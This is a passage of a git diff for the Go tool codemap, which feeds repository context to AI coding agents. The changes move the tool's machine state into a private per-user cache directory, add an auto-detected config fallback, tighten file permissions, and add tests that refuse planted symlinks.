a/cmd/subagent_cache_test.go b/cmd/subagent_cache_test.go index abe45d69..11d4feba 100644 --- a/cmd/subagent_cache_test.go +++ b/cmd/subagent_cache_test.go @@ -30,7 +30,7 @@ func runSubagentStartHook(t *testing.T, root string) string { var out string withStdinInput(t, `{"cwd":"`+filepath.ToSlash(root)+`"}`, func() { out = captureOutput(func() { - if err := hookSubagentStart(root); err != nil { + if err := hookSubagentStart(root, subagentStartTimeout); err != nil { t.Fatalf("hookSubagentStart: %v", err) } }) @@ -85,7 +85,7 @@ func TestSubagentStartTimeoutPrintsNothingAndRefreshes(t *testing.T) { } start := time.Now() withStdinInput(t, `{"cwd":"`+filepath.ToSlash(root)+`"}`, func() { - out := captureOutput(func() { _ = hookSubagentStart(root) }) + out := captureOutput(func() { _ = hookSubagentStart(root, subagentStartTimeout) }) if out != "" { t.Fatalf("timed-out render printed %q", out) } @@ -98,6 +98,34 @@ func TestSubagentStartTimeoutPrintsNothingAndRefreshes(t *testing.T) { } } +// The background render starts before the foreground one, so a hook killed by +// its timeout still leaves one running; a fresh lock means one already is. +func TestSubagentStartLaunchesRefreshUpFrontUnlessLocked(t *testing.T) { + root, renders, refreshes := subagentCacheRepo(t) + renderSubagentBlock = func(context.Context, string) (string, error) { + *renders++ + if *refreshes != 1 { + t.Errorf("foreground render began before the background refresh (refreshes=%d)", *refreshes) + } + return "block\n", nil + } + runSubagentStartHook(t, root) + + dir, _ := subagentCacheDir(root) + if err := os.Remove(filepath.Join(dir, subagentCacheFile)); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(dir, subagentRefreshLock), nil, 0o600); err != nil { + t.Fatal(err) + } + *refreshes = 0 + renderSubagentBlock = func(context.Context, string) (string, error) { return "block\n", nil } + runSubagentStartHook(t, root) + if *refreshes != 0 { + t.Fatalf("launched a refresh while a fresh lock exists (refreshes=%d)", *refreshes) + } +} + func TestRefreshSubagentCacheHonoursLock(t *testing.T) { root, renders, _ := subagentCacheRepo(t) dir, _ := subagentCacheDir(root) diff --git a/collide.go b/collide.go index f7a566c0..63727628 100644 --- a/collide.go +++ b/collide.go @@ -233,7 +233,7 @@ func runCollideSubcommand(args []string, launchDir string) int { return 1 } - cmd.EnsureProjectConfig(resolvedRoot) + cmd.EnsureAutoConfig(resolvedRoot) cfg := config.Load(resolvedRoot) filters := scanner.Filters{Only: cfg.Only, Exclude: cfg.Exclude, MaxFiles: cfg.MaxFiles} // The scan outcome is kept rather than discarded: a package-resolved diff --git a/config/config.go b/config/config.go index 6628de55..cd8ee1ce 100644 --- a/config/config.go +++ b/config/config.go @@ -256,11 +256,36 @@ func ConfigPath(root string) string { return filepath.Join(projectpath.CodemapDir(root), "config.json") } -// Load reads .codemap/config.json from root. -// Returns zero-value ProjectConfig if the file is missing. +// AutoConfigFile is the auto-detected config kept in the state dir for a +// repo without .codemap/config.json. +const AutoConfigFile = "auto-config.json" + +// AutoConfigPath returns the state-dir path of root's auto-detected config, +// or "" when there is no usable state dir. +func AutoConfigPath(root string) string { + dir := projectpath.ProjectRuntimeDir(root) + if dir == "" { + return "" + } + return filepath.Join(dir, AutoConfigFile) +} + +// Load reads .codemap/config.json from root, else the auto-detected config. +// Returns zero-value ProjectConfig if both are missing. // Logs a warning to stderr and returns zero-value if JSON is malformed. func Load(root string) ProjectConfig { - return LoadFile(ConfigPath(root)) + return LoadFirst(ConfigPath(root), func() string { return AutoConfigPath(root) }) +} + +// LoadFirst loads path, or the fallback path when path does not exist: the +// in-repo config always wins over the auto-detected one. +func LoadFirst(path string, fallback func() string) ProjectConfig { + if _, err := os.Stat(path); os.IsNotExist(err) { + if auto := fallback(); auto != "" { + return LoadFile(auto) + } + } + return LoadFile(path) } // LoadFile reads a previously resolved config path. diff --git a/docs/CONFIG.md b/docs/CONFIG.md index e1214613..07161384 100644 --- a/docs/CONFIG.md +++ b/docs/CONFIG.md @@ -11,7 +11,7 @@ codemap config init # auto-detect top extensions, write config codemap config show # display current config ``` -Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`. Commit `.codemap/config.json` and `.codemap/skills/` if you want to share them; everything else in the folder is machine state, ignored by the folder's own `.gitignore`. A repo with no `.codemap/` runs on the defaults below and keeps its machine state in the user cache directory ([INSTALL.md](INSTALL.md#setup)). +Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`. Commit `.codemap/config.json` and `.codemap/skills/` if you want to share them; the folder's own `.gitignore` ignores anything else (only leftovers from older versions). Machine state lives in the per-user state dir, never in the repo ([INSTALL.md](INSTALL.md#setup)). Without `config.json`, codemap auto-detects `only` and `exclude` once and keeps them as `auto-config.json` in that state dir; it does not track later changes in the file mix, so run `codemap config init` for filters you can tune and commit. An in-repo `config.json` always wins. ```json { @@ -126,6 +126,6 @@ When you switch agents (Claude โ†’ Codex โ†’ Cursor), codemap tracks who worked } ``` -Agent detection is automatic via environment variables. History carries across sessions, capped at 20 entries, in `.codemap/handoff.latest.json`. +Agent detection is automatic via environment variables. History carries across sessions, capped at 20 entries, in `handoff.latest.json` in the state dir (`codemap doctor` prints it). Next: [MCP tools and Codex](MCP.md) diff --git a/docs/HOOKS.md b/docs/HOOKS.md index 71fd5690..f68cdc27 100644 --- a/docs/HOOKS.md +++ b/docs/HOOKS.md @@ -38,7 +38,7 @@ codemap setup --global ``` This command: -- creates `.codemap/config.json` and `.codemap/.gitignore` when missing (a repo that never ran setup gets no `.codemap/`; see [INSTALL.md](INSTALL.md#setup) for where its state lives) +- creates `.codemap/config.json` and `.codemap/.gitignore` when missing; machine state always lives in the per-user state dir, never in the repo (see [INSTALL.md](INSTALL.md#setup)) - merges codemap hooks into Claude and Codex settings without removing existing hooks - keeps hook setup idempotent (safe to run more than once) @@ -62,7 +62,8 @@ codemap -C /tmp/feature-worktree context Normal CLI, hook, and plugin MCP calls need no `--setup-root`. Config and skills come from the primary worktree, while daemon state, events, handoffs, and -session files remain local to the linked worktree. Tools built on standard +session files stay per worktree, in the per-user state dir (never inside the +worktree, which gets no `.codemap/`). Tools built on standard linked worktrees require no special Codemap integration. Independent clones remain unrelated. Use `--setup-root /path/to/original` @@ -339,7 +340,7 @@ The `๐Ÿ’ก Suggestions` block prints only for file-specific suggestions from depe The **working set** tracks files you've edited during the current session. It shows edit count, net line delta, and hub status โ€” giving Claude awareness of your active work context. -Edits are attributed by *provenance*, not by disk churn. The `PostToolUse` hook records the paths an agent wrote through its own tool calls into `agent_edits.jsonl` (in `.codemap/` once the repo is set up, otherwise in the user cache directory), so a branch switch, a build, or a `git` command that touches hundreds of files does not masquerade as work the agent did. When no agent edits have been recorded, the summary says so and falls back to reporting disk activity rather than conflating the two. +Edits are attributed by *provenance*, not by disk churn. The `PostToolUse` hook records the paths an agent wrote through its own tool calls into `agent_edits.jsonl` in the per-user state dir (`codemap doctor` prints it), so a branch switch, a build, or a `git` command that touches hundreds of files does not masquerade as work the agent did. When no agent edits have been recorded, the summary says so and falls back to reporting disk activity rather than conflating the two. Provenance depends on the hook receiving a payload it understands: `tool_input.file_path` (Edit/Write), `tool_input.notebook_path` (NotebookEdit), or `tool_input.command` (Codex `apply_patch`). @@ -373,7 +374,7 @@ Edit Timeline: 14:30:11 CREATE cmd/new_feature.go +45 Stats: 8 events, 3 files touched, +63 lines, 1 hub edits -๐Ÿค Saved handoff to .codemap/handoff.latest.json +๐Ÿค Saved handoff to /handoff.latest.json ``` ### Next Session Start (Handoff Resume) @@ -400,8 +401,8 @@ If a recent handoff exists **for the current branch**, session start includes a | `codemap hook pre-edit` | `PreToolUse` (Edit\|Write) | Who imports file + what hubs it imports | | `codemap hook post-edit` | `PostToolUse` (Edit\|Write) | Impact of changes (same as pre-edit), and records the edit's provenance | | `codemap hook prompt-submit` | `UserPromptSubmit` | Intent classification, hub context, risk analysis, working set, route suggestions, drift warnings | -| `codemap hook pre-compact` | `PreCompact` | Saves hub state to .codemap/hubs.txt | -| `codemap hook session-stop` | `SessionEnd` | Edit timeline + writes `.codemap/handoff.latest.json`, `.codemap/handoff.prefix.json`, `.codemap/handoff.delta.json` | +| `codemap hook pre-compact` | `PreCompact` | Saves hub state to `hubs.txt` in the state dir | +| `codemap hook session-stop` | `SessionEnd` | Edit timeline + writes `handoff.latest.json`, `handoff.prefix.json`, `handoff.delta.json` in the state dir | | `codemap hook subagent-start` | `SubagentStart` | Top-level directories with hub marks, then the hub list (Claude only) | --- @@ -460,7 +461,7 @@ Session-start hook performance depends on whether the daemon is running: | State | Latency | What Happens | |-------|---------|--------------| -| Daemon running, state fresh | <100ms | Reads `.codemap/state.json` from disk | +| Daemon running, state fresh | <100ms | Reads `state.json` from the state dir | | Daemon running, state stale (>30s) | <100ms | Still reads state (daemon is alive) | | No daemon, small repo (<2000 files) | 200-500ms | Starts daemon + initial scan + dep graph | | No daemon, medium repo (2000-5000) | 500ms-2s | Starts daemon + scan (deps computed) | diff --git a/docs/INSTALL.md b/docs/INSTALL.md index 9c717362..7adede4e 100644 --- a/docs/INSTALL.md +++ b/docs/INSTALL.md @@ -43,15 +43,15 @@ codemap setup `codemap setup` configures the agents it detects: Claude Code when `~/.claude`, `~/.claude.json`, or `claude` on `PATH` exists, Codex when `~/.codex` or `codex` on `PATH` exists, and both when it finds neither. It: - creates `.codemap/` with `config.json` (auto-detected language filters) and `.codemap/.gitignore` -- names any machine-state files under `.codemap/` that git already tracks and prints the `git rm --cached -- ` command that untracks them (it never runs it) +- names machine-state files an older codemap left under `.codemap/`: committed ones with the `git rm --cached -- ` command that untracks them (it never runs it), and untracked ones as no longer used and safe to delete - merges Claude hooks into `.claude/settings.local.json` and configures MCP in `.mcp.json` (project scope) - merges Codex hooks into `~/.codex/hooks.json` and configures MCP in `~/.codex/config.toml` (user scope, since Codex skips a project's `.codex/` until the project is trusted; `--project` writes `.codex/` instead) - writes the builtin skills to `.claude/skills/` for Claude, keeping any skill file you edited - hooks start and read daemon state at session start -`.codemap/config.json` and `.codemap/skills/` are safe to commit. Everything else in the folder is machine state, ignored by the folder's own `.gitignore`; codemap writes that file only when it is missing, so your edits to it stay. +`.codemap/` holds only what you author: `config.json` and `skills/`, both safe to commit. Its `.gitignore` ignores anything else, which is only ever leftovers from older versions; codemap writes that file only when it is missing, so your edits to it stay. -Until you run setup (or `codemap config init` / `codemap skill init`), codemap writes nothing into the repo: no `.codemap/`, no `.git/info/exclude` rule. Hooks, the watch daemon and every command keep machine state under `$XDG_CACHE_HOME/codemap//` when `XDG_CACHE_HOME` is set, otherwise the OS user cache directory (`~/Library/Caches/codemap/` on macOS, `~/.cache/codemap/` on Linux). Without a config file codemap uses its defaults (every file type) instead of auto-detected filters. +Machine state never goes into the repo, set up or not, primary checkout or linked worktree. Hooks, the watch daemon and every command keep it under `$XDG_CACHE_HOME/codemap//` when `XDG_CACHE_HOME` is set, otherwise the OS user cache directory (`~/Library/Caches/codemap/` on macOS, `~/.cache/codemap/` on Linux). `codemap doctor` prints the exact directory on its `state dir:` line. Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`; nothing else writes there, and a linked worktree never gets one. A repo without `config.json` gets auto-detected filters stored in the state dir (`auto-config.json`), computed once; run `codemap config init` to commit filters instead. When no usable cache directory exists, codemap runs without saved state. Rerunning setup is safe: it changes only what is missing or stale. `--no-config`, `--no-hooks`, `--no-mcp`, and `--no-skills` skip a piece. diff --git a/find_cmd.go b/find_cmd.go index 1fd1192c..1e681284 100644 --- a/find_cmd.go +++ b/find_cmd.go @@ -72,7 +72,7 @@ func runFindSubcommand(args []string, launchDir string) int { return 1 } - cmd.EnsureProjectConfig(absRoot) + cmd.EnsureAutoConfig(absRoot) cfg := config.Load(absRoot) report, err := find.Run(context.Background(), absRoot, scanner.Filters{Only: cfg.Only, Exclude: cfg.Exclude, MaxFiles: cfg.MaxFiles}, query, *limit) if err != nil { diff --git a/handoff/storage.go b/handoff/storage.go index 50184b49..8f244733 100644 --- a/handoff/storage.go +++ b/handoff/storage.go @@ -6,7 +6,6 @@ import ( "os" "path/filepath" - "codemap/internal/gitexclude" "codemap/internal/projectpath" "codemap/internal/runtimefile" ) @@ -19,44 +18,25 @@ const ( maxMetricsLines = 500 ) -// LatestPath returns the absolute location of the latest handoff artifact. -func LatestPath(root string) string { - runtimeRoot := projectpath.ProjectRuntimeDir(root) - absRoot, err := filepath.Abs(runtimeRoot) - if err != nil { - return filepath.Join(runtimeRoot, latestFilename) - } - return filepath.Join(absRoot, latestFilename) -} +// LatestPath returns the absolute location of the latest handoff artifact, +// or "" when there is no usable state dir (same for the paths below). +func LatestPath(root string) string { return displayPath(root, latestFilename) } // PrefixPath returns the absolute location of the prefix snapshot. -func PrefixPath(root string) string { - runtimeRoot := projectpath.ProjectRuntimeDir(root) - absRoot, err := filepath.Abs(runtimeRoot) - if err != nil { - return filepath.Join(runtimeRoot, prefixFilename) - } - return filepath.Join(absRoot, prefixFilename) -} +func PrefixPath(root string) string { return displayPath(root, prefixFilename) } // DeltaPath returns the absolute location of the delta snapshot. -func DeltaPath(root string) string { - runtimeRoot := projectpath.ProjectRuntimeDir(root) - absRoot, err := filepath.Abs(runtimeRoot) - if err != nil { - return filepath.Join(runtimeRoot, deltaFilename) - } - return filepath.Join(absRoot, deltaFilename) -} +func DeltaPath(root string) string { return displayPath(root, deltaFilename) } // MetricsPath returns the absolute location of the handoff metrics log. -func MetricsPath(root string) string { - runtimeRoot := projectpath.ProjectRuntimeDir(root) - absRoot, err := filepath.Abs(runtimeRoot) +func MetricsPath(root string) string { return displayPath(root, metricsFilename) } + +func displayPath(root, name string) string { + path, err := runtimePath(root, name) if err != nil { - return filepath.Join(runtimeRoot, metricsFilename) + return "" } - return filepath.Join(absRoot, metricsFilename) + return path } // ReadLatest reads the latest handoff artifact if it exists. @@ -83,7 +63,8 @@ func ReadLatest(root string) (*Artifact, error) { return &artifact, nil } -// WriteLatest writes an artifact atomically to .codemap/handoff.latest.json. +// WriteLatest writes an artifact atomically to handoff.latest.json in the +// project's state dir. func WriteLatest(root string, artifact *Artifact) error { normalizeArtifact(artifact) @@ -92,10 +73,6 @@ func WriteLatest(root string, artifact *Artifact) error { return err } path := filepath.Join(runtimeDir, latestFilename) - if err := gitexclude.MkdirAll(filepath.Dir(path), 0755); err != nil { - return err - } - if err := writeJSONAtomic(path, artifact); err != nil { return err } @@ -121,7 +98,7 @@ func writeJSONAtomic(path string, value any) error { if err != nil { return err } - return runtimefile.WriteAtomic(path, data, 0o644) + return runtimefile.WriteAtomic(path, data, 0o600) } func appendMetrics(root string, artifact *Artifact) error { @@ -156,7 +133,7 @@ func appendMetricsAt(path string, artifact *Artifact) error { return err } - f, err := runtimefile.OpenAppend(path, 0o644) + f, err := runtimefile.OpenAppend(path, 0o600) if err != nil { return err } @@ -270,5 +247,5 @@ func capMetricsLogAt(path string, maxLines int) error { trimmed := bytes.Join(lines[len(lines)-maxLines:], []byte("\n")) trimmed = append(trimmed, '\n') - return runtimefile.WriteAtomic(path, trimmed, 0o644) + return runtimefile.WriteAtomic(path, trimmed, 0o600) } diff --git a/internal/gitexclude/gitexclude.go b/internal/gitexclude/gitexclude.go index 072de11c..ba5dc8c6 100644 --- a/internal/gitexclude/gitexclude.go +++ b/internal/gitexclude/gitexclude.go @@ -1,6 +1,6 @@ -// Package gitexclude keeps codemap's machine state out of `git status` -// without touching the repo's own ignore files: an in-repo .codemap/ carries -// its own .gitignore that leaves only config.json and skills/ committable. +// Package gitexclude keeps an in-repo .codemap/ out of `git status` without +// touching the repo's own ignore files: .codemap/ carries its own .gitignore +// that leaves only config.json and skills/ committable. package gitexclude import ( @@ -106,35 +106,6 @@ func EnsureStateIgnore(stateDir string) (bool, error) { return true, nil } -// MkdirAll creates dir like os.MkdirAll and, when dir is or sits inside a -// `.codemap` directory, ensures that directory carries StateIgnore. Every -// in-repo codemap state write goes through here, so machine state never -// shows in `git status`. The ignore write is best-effort: a failure there -// never fails the directory creation. -func MkdirAll(dir string, perm os.FileMode) error { - if err := os.MkdirAll(dir, perm); err != nil { - return err - } - if stateDir, ok := stateDirOf(dir); ok { - _, _ = EnsureStateIgnore(stateDir) - } - return nil -} - -// stateDirOf returns the nearest path on or above dir whose base is -// `.codemap`. -func stateDirOf(dir string) (string, bool) { - dir = filepath.Clean(dir) - for current := dir; ; current = filepath.Dir(current) { - if filepath.Base(current) == stateDirName { - return current, true - } - if parent := filepath.Dir(current); parent == current { - return "", false - } - } -} - // TrackedStateFiles returns the paths under .codemap/ that git tracks at // root (`git ls-files -- .codemap`), which is the state the ignore rule can // no longer hide. diff --git a/internal/gitexclude/gitexclude_test.go b/internal/gitexclude/gitexclude_test.go index 8705dc17..a58e9360 100644 --- a/internal/gitexclude/gitexclude_test.go +++ b/internal/gitexclude/gitexclude_test.go @@ -48,7 +48,7 @@ func freshClone(t *testing.T) string { return clone } -func TestMkdirAllWritesStateIgnoreAndLeavesExclude(t *testing.T) { +func TestStateIgnoreHidesLegacyLeftoversAndLeavesExclude(t *testing.T) { root := freshClone(t) exclude, err := InfoExcludePath(root) if err != nil { @@ -56,9 +56,12 @@ func TestMkdirAllWritesStateIgnoreAndLeavesExclude(t *testing.T) { } before, _ := os.ReadFile(exclude) stateDir := filepath.Join(root, ".codemap", "projects", "abc") - if err := MkdirAll(stateDir, 0o755); err != nil { + if err := os.MkdirAll(stateDir, 0o755); err != nil { t.Fatal(err) } + if wrote, err := EnsureStateIgnore(filepath.Join(root, ".codemap")); err != nil || !wrote { + t.Fatalf("EnsureStateIgnore = %v, %v", wrote, err) + } for path, content := range map[string]string{ filepath.Join(stateDir, "state.json"): "{}", filepath.Join(root, ".codemap", "agent_edits.jsonl"): "{}", @@ -102,26 +105,6 @@ func TestEnsureStateIgnoreKeepsUserCopy(t *testing.T) { } } -func TestMkdirAllOutsideGitAndWithoutStateDir(t *testing.T) { - plain := filepath.Join(t.TempDir(), "a", ".codemap", "b") - if err := MkdirAll(plain, 0o755); err != nil { - t.Fatal(err) - } - if info, err := os.Stat(plain); err != nil || !info.IsDir() { - t.Fatalf("dir not created: %v", err) - } - other := filepath.Join(t.TempDir(), "cache", "x") - if err := MkdirAll(other, 0o755); err != nil { - t.Fatal(err) - } - if _, ok := stateDirOf(other); ok { - t.Fatalf("stateDirOf(%q) found a .codemap ancestor", other) - } - if got, ok := stateDirOf(plain); !ok || filepath.Base(got) != ".codemap" { - t.Fatalf("stateDirOf(%q) = %q, %v", plain, got, ok) - } -} - func TestTrackedStateFiles(t *testing.T) { root := freshClone(t) files, err := TrackedStateFiles(root) diff --git a/internal/projectpath/path.go b/internal/projectpath/path.go index 88b2a374..06f15df1 100644 --- a/internal/projectpath/path.go +++ b/internal/projectpath/path.go @@ -169,17 +169,20 @@ func nearestGitRoot(root string) (string, bool) { // ProjectRuntimeDir returns the per-project mutable-state directory: the // shared runtime area (e.g. a setup root) scoped to this project, so projects // sharing a setup root never collide on pid, state, events, or handoff files. +// It is "" when there is no usable state dir. func ProjectRuntimeDir(projectRoot string) string { - return filepath.Join(RuntimeCodemapDir(projectRoot), "projects", ProjectKey(projectRoot)) + dir, _ := CheckedRuntimeCodemapDir(projectRoot) + return dir } -// RuntimeCodemapDir returns the .codemap directory for mutable project state. +// RuntimeCodemapDir returns the state dir for mutable project state, or "" +// when there is none; it never falls back to a path inside the repo. func RuntimeCodemapDir(projectRoot string) string { selection, err := SelectRuntime(projectRoot) - if err == nil { - return selection.RuntimeDir + if err != nil { + return "" } - return filepath.Join(filepath.Clean(projectRoot), ".codemap") + return selection.RuntimeDir } // CheckedRuntimeCodemapDir returns the validated mutable-state directory. diff --git a/internal/projectpath/path_test.go b/internal/projectpath/path_test.go index cecc0cf3..a13ba566 100644 --- a/internal/projectpath/path_test.go +++ b/internal/projectpath/path_test.go @@ -198,8 +198,10 @@ func TestRuntimeCodemapDirSeparatesAutomaticAndExplicitStorage(t *testing.T) { if got, want := CodemapDir(linked), filepath.Join(primary, ".codemap"); got != want { t.Fatalf("CodemapDir() = %q, want policy dir %q", got, want) } - if got, want := RuntimeCodemapDir(linked), filepath.Join(linked, ".codemap"); got != want { - t.Fatalf("RuntimeCodemapDir() = %q, want local runtime dir %q", got, want) + got, primaryState := RuntimeCodemapDir(linked), RuntimeCodemapDir(primary) + inside := func(dir string) bool { return strings.HasPrefix(got, CanonicalPath(dir)+string(filepath.Separator)) } + if got == "" || got == primaryState || inside(linked) || inside(primary) { + t.Fatalf("RuntimeCodemapDir() = %q (primary %q), want a per-worktree dir outside both checkouts", got, primaryState) } explicit := t.TempDir() @@ -233,9 +235,6 @@ func TestExplicitSetupRuntimeNamespacesAreDeterministicAndDistinct(t *testing.T) if a.RuntimeDir == b.RuntimeDir { t.Fatalf("runtime dirs both %q; want project isolation", a.RuntimeDir) } - if a.LegacyDir != a.PolicyDir || b.LegacyDir != b.PolicyDir { - t.Fatalf("legacy dirs = %q, %q; want shared old location", a.LegacyDir, b.LegacyDir) - } assertProjectMarker(t, a.RuntimeDir, a.ProjectRoot) assertProjectMarker(t, b.RuntimeDir, b.ProjectRoot) diff --git a/internal/projectpath/runtime.go b/internal/projectpath/runtime.go index 2b7145bd..e96cb179 100644 --- a/internal/projectpath/runtime.go +++ b/internal/projectpath/runtime.go @@ -15,7 +15,6 @@ type RuntimeSelection struct { ProjectRoot string PolicyDir string RuntimeDir string - LegacyDir string Source Source } @@ -33,18 +32,14 @@ func SelectRuntime(projectRoot string) (RuntimeSelection, error) { result := RuntimeSelection{ ProjectRoot: selection.ProjectRoot, PolicyDir: policyDir, - RuntimeDir: filepath.Join(selection.RuntimeRoot, ".codemap"), - LegacyDir: policyDir, Source: selection.Source, } if selection.Source != SourceExplicit { - if !IsSetUp(selection.ProjectRoot) { - dir, err := userStateDir(selection.ProjectRoot) - if err != nil { - return RuntimeSelection{}, err - } - result.RuntimeDir = dir + dir, err := userStateDir(selection.ProjectRoot) + if err != nil { + return RuntimeSelection{}, err } + result.RuntimeDir = dir return result, nil } @@ -56,6 +51,12 @@ func SelectRuntime(projectRoot string) (RuntimeSelection, error) { return RuntimeSelection{}, err } } + projects := filepath.Join(result.RuntimeDir, "projects") + for _, dir := range []string{projects, filepath.Join(projects, ProjectKey(selection.ProjectRoot))} { + if err := ensurePrivateDirectory(dir); err != nil { + return RuntimeSelection{}, err + } + } if err := ensureProjectMarker(result.RuntimeDir, selection.ProjectRoot); err != nil { return RuntimeSelection{}, err } @@ -63,20 +64,21 @@ func SelectRuntime(projectRoot string) (RuntimeSelection, error) { } // IsSetUp reports whether the project's policy directory (/.codemap) -// exists. Only explicit commands (setup, config init, skill init) create it; -// a project without one keeps its machine state in StateCacheDir (#184). +// exists. Only explicit commands (setup, config init, skill init) create it. +// It never decides where machine state goes: that is always StateCacheDir. func IsSetUp(projectRoot string) bool { info, err := os.Lstat(CodemapDir(projectRoot)) return err == nil && info.IsDir() } -// ErrNoStateDir reports that a project that is not set up has nowhere safe to -// keep machine state; callers skip writes and treat state as absent. -var ErrNoStateDir = errors.New("no user cache directory for codemap state") +// ErrNoStateDir reports that there is nowhere safe to keep machine state (no +// cache dir, not creatable, not writable, or unsafe). Every failure to get the +// private state dir wraps it; callers skip writes and treat state as absent. +var ErrNoStateDir = errors.New("no usable codemap state directory") -// StateCacheDir is the per-user root for machine state of projects that are -// not set up: $XDG_CACHE_HOME/codemap on every OS when it is absolute, else -// the OS user cache directory. There is deliberately no shared-temp fallback. +// StateCacheDir is the per-user root for machine state of every project: +// $XDG_CACHE_HOME/codemap on every OS when it is absolute, else the OS user +// cache directory. There is deliberately no shared-temp fallback. func StateCacheDir() (string, bool) { base := os.Getenv("XDG_CACHE_HOME") if !filepath.IsAbs(base) { @@ -88,27 +90,43 @@ func StateCacheDir() (string, bool) { return filepath.Join(base, "codemap"), true } -// userStateDir returns, creating it 0700, /: both -// levels real directories owned by this user, marked with the project root. +// userStateDir returns /, marked with the project +// root, after creating it and its projects/ runtime dir. func userStateDir(projectRoot string) (string, error) { cacheDir, ok := StateCacheDir() if !ok { return "", ErrNoStateDir } - if err := os.MkdirAll(filepath.Dir(cacheDir), 0o700); err != nil { - return "", fmt.Errorf("create user cache %q: %w", filepath.Dir(cacheDir), err) + dir, err := privateStateDir(cacheDir, ProjectKey(projectRoot)) + if err == nil { + err = ensureProjectMarker(dir, CanonicalPath(projectRoot)) } - cacheDir = CanonicalPath(cacheDir) - dir := filepath.Join(cacheDir, ProjectKey(projectRoot)) - for _, d := range []string{cacheDir, dir} { - if err := ensurePrivateDirectory(d); err != nil { - return "", err + if err != nil { + return "", fmt.Errorf("%w: %w", ErrNoStateDir, err) + } + return dir, nil +} + +// privateStateDir creates //projects/, every level a real +// 0700 directory owned by this user. Only the OS cache dir itself may be +// created above that, never its parents, so a missing home stays missing. +// Links above the cache dir belong to the user or the OS and are resolved; +// from the codemap leaf down every level is Lstat-checked and links refused. +func privateStateDir(cacheDir, key string) (string, error) { + base := filepath.Dir(cacheDir) + if _, err := os.Stat(base); os.IsNotExist(err) { + if err := os.Mkdir(base, 0o700); err != nil { + return "", fmt.Errorf("create user cache %q: %w", base, err) } } - if err := ensureProjectMarker(dir, CanonicalPath(projectRoot)); err != nil { - return "", err + dir := filepath.Join(CanonicalPath(base), filepath.Base(cacheDir)) + for _, part := range []string{"", key, "projects", key} { + dir = filepath.Join(dir, part) + if err := ensurePrivateDirectory(dir); err != nil { + return "", err + } } - return dir, nil + return filepath.Dir(filepath.Dir(dir)), nil } func ensureRealDirectory(path string) error { diff --git a/internal/projectpath/runtime_cache_test.go b/internal/projectpath/runtime_cache_test.go index 73f89a09..54424e2f 100644 --- a/internal/projectpath/runtime_cache_test.go +++ b/internal/projectpath/runtime_cache_test.go @@ -44,22 +44,28 @@ func TestSelectRuntimeWithoutCacheDirIsUnavailable(t *testing.T) { } } -func TestSelectRuntimeUsesCacheUntilSetUp(t *testing.T) { +// State lives in the cache whether or not the repo is set up, and every +// directory codemap creates there is 0700. +func TestSelectRuntimeUsesCacheWhetherOrNotSetUp(t *testing.T) { root := makeProjectFixture(t) cache := t.TempDir() t.Setenv("XDG_CACHE_HOME", cache) - _ = os.RemoveAll(filepath.Join(root, ".codemap")) + want := filepath.Join(CanonicalPath(cache), "codemap", ProjectKey(root)) selection, err := SelectRuntime(root) if err != nil { t.Fatal(err) } - if want := filepath.Join(CanonicalPath(cache), "codemap", ProjectKey(root)); selection.RuntimeDir != want { + if selection.RuntimeDir != want { t.Fatalf("RuntimeDir = %q, want %q", selection.RuntimeDir, want) } - for _, dir := range []string{filepath.Dir(selection.RuntimeDir), selection.RuntimeDir} { - if info, err := os.Stat(dir); err != nil || (runtime.GOOS != "windows" && info.Mode().Perm() != 0o700) { - t.Fatalf("%s: mode %v, err %v; want 0700", dir, info.Mode().Perm(), err) + projectDir, err := CheckedRuntimeCodemapDir(root) + if err != nil { + t.Fatal(err) + } + for dir := projectDir; dir != CanonicalPath(cache); dir = filepath.Dir(dir) { + if info, err := os.Lstat(dir); err != nil || !info.IsDir() || (runtime.GOOS != "windows" && info.Mode().Perm() != 0o700) { + t.Fatalf("%s: %v, err %v; want a 0700 directory", dir, info, err) } } if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { @@ -69,11 +75,81 @@ func TestSelectRuntimeUsesCacheUntilSetUp(t *testing.T) { if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { t.Fatal(err) } - selection, err = SelectRuntime(root) - if err != nil { + if selection, err = SelectRuntime(root); err != nil || selection.RuntimeDir != want || !IsSetUp(root) { + t.Fatalf("set-up RuntimeDir = %q, %v; want %q", selection.RuntimeDir, err, want) + } + if entries, _ := os.ReadDir(filepath.Join(root, ".codemap")); len(entries) != 0 { + t.Fatalf("selection wrote into the set-up repo's .codemap/: %v", entries) + } +} + +// V2: a link at the codemap leaf, or at any level below it, is refused, and +// nothing is written through it. A link above the cache root is the user's. +func TestSelectRuntimeRefusesLinksFromTheCodemapLeafDown(t *testing.T) { + root := makeProjectFixture(t) + key := ProjectKey(root) + for _, rel := range []string{"codemap", filepath.Join("codemap", key, "projects"), filepath.Join("codemap", key, "projects", key)} { + t.Run(rel, func(t *testing.T) { + cache := t.TempDir() + t.Setenv("XDG_CACHE_HOME", cache) + if err := os.MkdirAll(filepath.Dir(filepath.Join(cache, rel)), 0o700); err != nil { + t.Fatal(err) + } + planted := t.TempDir() + if err := os.Symlink(planted, filepath.Join(cache, rel)); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + if _, err := CheckedRuntimeCodemapDir(root); !errors.Is(err, ErrNoStateDir) || !strings.Contains(err.Error(), "unsafe runtime directory") { + t.Fatalf("err = %v, want ErrNoStateDir naming an unsafe runtime directory", err) + } + if entries, _ := os.ReadDir(planted); len(entries) != 0 { + t.Fatalf("wrote through the planted link: %v", entries) + } + }) + } + + real := t.TempDir() + linkedCache := filepath.Join(t.TempDir(), "cache") + if err := os.Symlink(real, linkedCache); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + t.Setenv("XDG_CACHE_HOME", linkedCache) + if _, err := CheckedRuntimeCodemapDir(root); err != nil { + t.Fatalf("a symlinked cache root must work: %v", err) + } + if _, err := os.Lstat(filepath.Join(real, "codemap", key)); err != nil { + t.Fatalf("state not under the link's target: %v", err) + } +} + +// V1: every failure to get the state dir is ErrNoStateDir, and codemap never +// creates a missing home: at most the cache dir's last component. +func TestSelectRuntimeNeverCreatesAMissingHome(t *testing.T) { + root := makeProjectFixture(t) + home := filepath.Join(t.TempDir(), "gone") + t.Setenv("XDG_CACHE_HOME", filepath.Join(home, ".cache")) + if _, err := SelectRuntime(root); !errors.Is(err, ErrNoStateDir) { + t.Fatalf("err = %v, want ErrNoStateDir", err) + } + if _, err := 